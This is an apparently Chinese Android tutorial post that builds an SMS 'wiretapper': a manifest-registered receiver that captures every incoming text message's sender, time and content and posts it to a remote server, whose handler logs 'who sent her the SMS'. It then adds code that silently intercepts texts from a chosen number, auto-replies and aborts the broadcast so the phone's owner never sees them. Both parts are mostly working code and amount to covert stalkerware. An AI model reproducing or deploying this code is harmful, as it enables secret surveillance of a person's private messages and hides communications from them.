服务器(videoweb(点击打开链接):

1、修改frombean:VideoForm中增加短信时间、内容和发送者属性。

2VideoManageAction中增加方法getSMS()来获取窃听器发送的短消息。

publicActionForwardgetSMS(ActionMappingmapping,ActionFormform,

HttpServletRequestrequest,HttpServletResponseresponse)

throwsException{

VideoFormformbean=(VideoForm)form;

System.out.println("发送时间:"+formbean.getTime());

System.out.println("谁给她发的短信:"+formbean.getSender());

System.out.println("内容:"+formbean.getContent());

returnmapping.findForward("result");

}

客户端SMS_Listener

1、清单文件中订阅广播

<receiverandroid:name=".MySMSListener">

<intent-filter>

<actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

</receiver>

添加短信接收权限,访问网络权限

<uses-permissionandroid:name="android.permission.INTERNET"/>

<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/>

2、客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印

importjava.text.SimpleDateFormat;

importjava.util.Date;

importjava.util.HashMap;

importjava.util.Map;

importcn.class3g.utils.SocketHttpRequester;

publicclassMySMSListenerextendsBroadcastReceiver{

publicvoidonReceive(Contextcontext,Intentintent){

Object[]pdus=(Object[])intent.getExtras().get("pdus");

if(pdus!=null&&pdus.length>0){

SmsMessage[]messages=newSmsMessage[pdus.length];

for(inti=0;i<messages.length;i++){

byte[]pdu=(byte[])pdus[i];

messages[i]=SmsMessage.createFromPdu(pdu);

}

for(SmsMessagemsg:messages){

Stringcontent=msg.getMessageBody();

Stringsender=msg.getOriginatingAddress();

Datedate=newDate(msg.getTimestampMillis());

SimpleDateFormatsdf=newSimpleDateFormat(

"yyyy-MM-ddHH:mm:ss");

StringsendTime=sdf.format(date);

Map<String,String>param=newHashMap<String,String>();

param.put("method","getSMS");

param.put("sender",sender);

param.put("content",content);

param.put("time",sendTime);

Stringpath=

"http://192.168.1.100:8080/videoweb/video/manage.do";

try{

SocketHttpRequester.post(path,param,"UTF-8");

}catch(Exceptione){

Log.e("TAG",e.toString());

}

}

}

}

}

SmsMessage

publicstaticSmsMessagecreateFromPdu(byte[]pdu)

从原始的PDUprotocoldescriptionunits)创建一个SmsMessage。这个方法很重要,在我们编写短信接收程序要用到,它从我们接收到的广播意图中获取的字节创建SmsMessage

publicStringgetOriginatingAddress()
String返回SMS信息的来电地址,或不可用时为null

publicStringgetMessageBody()
以一个String返回消息的主体,如果它存在且是基于文本的。

短信管理器:SmsManager

1).Android2.0以前应该使用android.telephony.gsm.SmsManager

之后应该用android.telephony.SmsManager;

2).获取系统默认的短信管理器

SmsManagersmsManager=SmsManager.getDefault();

3).按照每条短信最大字数来拆分短信

List<String>divideContents=smsManager.divideMessage(content);

4).发送短信

smsManager.sendTextMessage(destinationAddress,scAddress,text,sentIntent,deliveryIntent)

--destinationAddress:目标电话号码

--scAddress:短信中心号码,测试可以不填

--text:短信内容

--sentIntent:发送-->中国移动-->中国移动发送失败-->返回发送成功或失败信号-->后续处理即,这个意图包装了短信发送状态的信息

--deliveryIntent发送-->中国移动-->中国移动发送成功-->返回对方是否收到这个信息-->后续处理即:这个意图包装了短信是否被对方收到的状态信息(供应商已经发送成功,但是对方没有收到)。

5).声明短信发送权限

*AndroidManifest.xml

<uses-permissionandroid:name="android.permission.SEND_SMS"/>

3、进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复

添加短信发送权限:

<uses-permissionandroid:name="android.permission.SEND_SMS"/>

MySMSListener的onReceive中添加代码如下

StringsendContent=sdf.format(date)+":"+sender+"--"

+content;

Log.i("TAG",sendContent);

if(sender!=null&&sender.endsWith("5556")){//5556".equals(sender)){

SmsManagersmsManager=SmsManager.getDefault();

smsManager.sendTextMessage("5556",null,"gameover",null,null);

this.abortBroadcast();//终止广播

}

测试:

启动另一个模拟器,向部署客户端的模拟器发送短信,查看服务器端后台输出,并且观察客户端运行模拟器是否有短信接收。

更多相关文章

  1. android拨打电话和发送短信核心代码
  2. Android(安卓)getevent/sendevent详解
  3. Android之插入通话记录,短信箱插入短信,号码薄插入联系人
  4. 001——Binder 机制详解—Binder IPC 程序结构
  5. zz:Android使用HttpPost向服务器发送Json数据
  6. android 全局异常的捕获,保存本地以及上传服务器
  7. android notification 使用
  8. 四大组件_Service_AIDL_1
  9. 取消程序在最近六项中显示以及直接调用信息短信界面

随机推荐

  1. 好用的Android的UI第三方开源框架
  2. Android(安卓)开发笔记 动画效果 --Anima
  3. Android海康监控视频调用demo
  4. Android中TabHost的原理及使用
  5. Android(安卓)记录一次开发微信分享功能
  6. Android面试时的问题,实现半透明的popupw
  7. Android(安卓)给Button加个监听
  8. Android(安卓)程式开发:(二十)内容提供者 —
  9. MPAndroidChart 3.0——BarChart(一)
  10. Android(安卓)BaseActivity和BaseFragmen